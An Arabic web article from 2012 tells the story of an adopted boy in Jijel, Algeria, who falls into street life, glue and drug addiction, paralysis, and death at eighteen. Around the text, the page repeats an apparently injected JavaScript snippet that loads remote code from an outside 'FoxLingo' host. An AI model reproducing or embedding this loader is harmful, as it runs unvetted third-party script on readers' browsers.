]]>
خواطر :
الحياة فصول .. جلوسنا لدقائق , لا يعني إحتوائها تماما هي دقائق نتأملها ..لا غير.   (طيف امرأه) . شوهدت ذئاب على أطراف الوديان في فرائس تتحينُ ...مرت عليها البهائم وهي تتعجب... ردت الذئاب على البهائم ، لما العجبُ لولا الفرائسُ لما وُجدت الذئابُ...   (بلقسام حمدان العربي الإدريسي) . 

البراءة المسلوبة

بواسطة: Fateh Fathy  |  بتاريخ: 2012-10-14 ، الوقت: 15:35:35
  • تقييم المقالة:

!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

الحياة عبر والكيِس الفطن من اعتبر، هي قصص تمر علينا و ما أكثرها،أحيانا سعيدة وأحيانا حزينة،نسمعها أو نعيشها فنتفاعل معها بقدر تأثيرها فينا،منها ما تمر و تمحى من ذاكرتنا و منها ما تبقى و نعيش على ذكراها .

قِصة حقيقية وللأسف لطفل شاءت الأقدار أن يأتي إلي الدنيا خطأ نتيجة طيش زوجين مجهولا الهوية في لحظة ضعف نفس و نزوة من شيطان،تم تبنيه و هو طفل لم يتجاوز 04 سنوات من من طرف زوج بدون أولاد في ولاية جيجل و بالضبط في حي لاكريط الشعبي .

(عبد الكريم .ع) أو محمد طافر كما كان يسمى في حيه، تعلق كثيرا بوالده الذي تبناه و للأسف لم ينعم به إلا قليلا اذ توفي وطافر لا يزال طفلا صغيرا ليبقى مع والدته في شقة تقع بالطابق الثاني لعمارة  بالحي.

كانت قاسية جدا عليه وتضربه على أبسط شيء،وهذا الأمر جعله يفضل المبيت خارج البيت في حيه على عنف والدته القاسية.

حي لاكريط الشعبي وكباقي الأحياء الشعبية الجزائرية،صورته نهارا ليست كصورته ليلا،والداخل إليه ليلا ليس كالداخل إليه نهارا.أهل الخير وأهل الشر اختاروا مكانهم وزمانهم؛الأول جِهارا نهارا والثاني سرا ليلا،حاول أهل الخير من الجيران أن يعيدوا الأمور إلى نصابها بإرجاعه إلى بيته لأنه لا يزال صغيرا على حيات الشارع التي لا ترحم الكبار فما بالك بطفل لم يتجاوز 12 سنة من عمره إلا أن الفتى لم يكن يلبث إلا قليلا  ويهرب من والدته .وهكذا بدأت حكاية طافر مع التشرد و التسكع و المنحرفين الذين لا هم لهم إلا استدراج الغير إلى دائرتهم وشعارهم في هذا ''إذاعمت خفت''.وهذا ما مهد لحكاية أخرى لطافر مع المخدرات فأدمنها جسده النحيف

تحولت حيات الطفل البريء إلى جحيم و لم يعد ذلك الطفل الذكي الذي يكتبُ الأشعار على نفسه و على "مكتوبو و زهرو" كما كان يقول فترك مقاعد الدراسة وهو الذي كان يهوى الكتب و المجلات و يطالعها باستمرار وأصبح عنيفا مع من حوله حتي الذين أحسنوا إليه و حاولوا فكه من أنياب الشارع سابقا و هذا ما نفر الناس منه و تركوه لشأنه بعد أن تمادى في الإساءة للجيران بالكلام الفاحش ليلا و نهارا جراء السموم التي كان يستهلكها.

توفيت والدته في حادث مأساوي في بيتها أثناء قيامها بتنظيف نافدة البيت ذات صباح من يم الجمعة حيث سقطت من الشرفة و لفظت أنفاسها في المستشفى بعد نقلها إليه مباشرة.حامت الشكوك حول طافر في البداية من إمكانية ظلوعه في حادث وفات أمه نظرا لما كان يكن لها من عداوة و كره و أيظا لما آل إليه من عنف و توحش، إلا أن التحريات أثبتت أن لا علاقة لطافر وأنه حادث منفرد معزول .

بعد هذا الحادث ظن أهل الصلاح من الحي أن حيات الطفل  ستتحسن وأنه سيطلق حيات الشارع التي أثرت على صحته و يعود إلى بيت والده الذي أصبح بيته الآن و هو ما حدث فعلا ؛أصبح لطافر  أخيرا بيت يأويه بعد سنوات من الشقاء و التسكع و البرد و الحر والجوع و المخدرات و رفقاء السوء و......... .

صحيح أن لطافر بيت الآن و هو ابن السادسة عشر و لكن سنوات التشرد و الإدمان شيء صعب التخلص منه فاستمر على ما كان عليه و ما زاد الطين بلة هو أستهلاكه لمادة الغراء الصناعي ‘’patex ‘’بكمية كبيرة و لمدة زمنية طويلة  نظرا لثمنها مقارنة بالمسكرات الأخرى و لأنه لم يكن لديه أي مصدر رزق عدى ما تجود به أيدي الجيران المحسنين.لم يتحمل هذا الجسد الصغير كل هته السموم فبدأت عدة أعراض تظهر عليه و قد أكد الأطباء أن سببها هو الغراء الذي كان يستنشقه و المخدرات،بحيث أصبح لا يقدر على على المشي معتدلا كما كان و ظهرت جروح كثيرة على مستوى رجليه  منعته من المشي.

سارع به أهل الإحسان لغرض علاجه ولكن حالته كانت تزيد سوء فبعد الإستعانة بالعكازين خارت قواه نهائيا و أصبحت رجلاه لا تحملانه  و شُل الطفل من أطرافه السفلى و أصبح قعيد كرسي متحرك.

مفارقات عجيبة في هذا الحي ،أناس في أزمة سكن خانقة منعتهم من إتمام نصف دينهم و العيش بكرامة و طافر له سكن و لا يمكنه الولوج إليه لأنه معاق و مسكنه في الطابق الثاني للعمارة، و تشاء الأقدار أن يعود هذا الفتى المسكين مرة أخرى إلى الشارع و كأنه قدره المحتوم.كان يمضي النهار كله في هذا الكرسي المتحرك حتى أن حاجاته البيولوجية كان يقضيها فيه مرغما و هو  ما زاد من نفور الناس منه بسبب رائحته فأصبح شبه معزول عن أهل الحي عدا القليل، و في الليل يرمي نفسه من الكرسي المتحرك ليقع على فراش كان قد فُرِش له في مدخل العمارة التي بها بيته.

بقي محمد  طافر يستهلك المخدرات بأنواعها رغم كل هذا بل و بالعكس زاد من وتيرة أستهلاكه لها  و كأنه كان  يقول أريد أن أموت.

و تمضي الأيام و الحالة تزيد سوءا إلى أن جاء خبر وفات محمد طافر في ريعان شبابه و هو ابن الثامنة عشر متأثرا بمرضه الذي نخر جسده النحيف،وحيدا بعد ما مكث في المستشفى أكثر من شهر  لا أحد يبكي عليه إلا من رحم الله .

هذه حالة و ماأكثرها كان يجب أن يسلط عليها الضوء فتدرس و تحلل من طرف المعنيين من أهل الإختصاص و من شركاء اجتماعيين، نسوقها لا لشيء إلا لكي لا تكون تراجيديا أخرى مثل هذه في جزائر العزة و الكرامة و لكي لا يكون هناك طفل آخر مثل محمد طافر .

!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();
« المقالة السابقة ... المقالة التالية »

» إضافة تعليق :

لكي تتمكن من التعليق يجب عليك تسجيل الدخول
البريد الالكتروني
كلمة السر  
او يمكنك الدخول والتعليق عن طريق فيسبوك او تويتر
 انشر التعليق على حائطي في فيسبوك او على صفحتي بتويتر
علق مع فيسبوك       الدخول عن طريق تويتر
او يمكنك التعليق بإستخادم اسم مستعار
اسمك المستعار:
آضف تعليق